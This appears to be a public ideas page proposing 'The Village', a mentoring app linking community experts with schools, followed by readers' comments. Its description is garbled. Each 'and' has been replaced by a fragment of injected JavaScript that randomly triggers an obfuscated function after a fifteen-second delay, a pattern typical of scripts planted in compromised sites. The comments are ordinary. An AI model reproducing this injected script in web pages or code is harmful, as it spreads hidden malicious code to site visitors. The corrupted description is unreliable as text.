The Ideas

Idea 1

‘The Village’ is a project based education program that matches mentors from industry, the arts and the wider community, to schools and students.

We will develop an application that mentors can sign up to, providing details of their expertise andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and availability. In parallel, similar interest andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and requirements will be gauged from schools, opening up a line of communication between them. The objective is to inspire students to learn, andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and create pathways to employment by breaking down the barriers between educational institutions andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the community, paving the way for collaboration between stakeholders, andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and encouraging greater investment in education.


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  • I’m ready to sign up

    SUBMITTED BY: Ted Ross, Hobart 07:53AM 13/06/15
  • Love it, there is so much untapped talent out there, particularly from our arts community and our elders. We must acknowledge these contributors more fully however, through residence programs, etc, as everyone has to make a living ultimately!

    SUBMITTED BY: Ines Carver, Cygnet 08:18AM 17/06/15
  • On a similar topic in an international forum one suggestion included starting such a process from within the immediate community. For example existing parents, local business people & community leaders: then, gradually broadening the perspective. Perhaps a type of TEDx within schools could broaden scope & conserve resources

    SUBMITTED BY: Paul Reader, Clarenon Vale 04:31PM 17/06/15
  • A lot of the statements are motherhood statements. We would all like to do all of them. If a person is illiterate then everything else is useless. There has to be abig Literacy drive in Tasmania. The infant schools are the most important for kids to go on to further Learning. It would also help with discipline problems.

    SUBMITTED BY: Ingeborg Scott, Howrah 09:43PM 20/06/15
  • A powerful, creative suggestion, resonating with elements of several of the other ideas, all of which will require a cultural and paradigm change across our schooling systems – from compliance/control to encouraging genuine community connections. The community seems ready, even hungry for this, but is the education system?

    SUBMITTED BY: Eleanor Ramsay, Kettering 01:35PM 27/06/15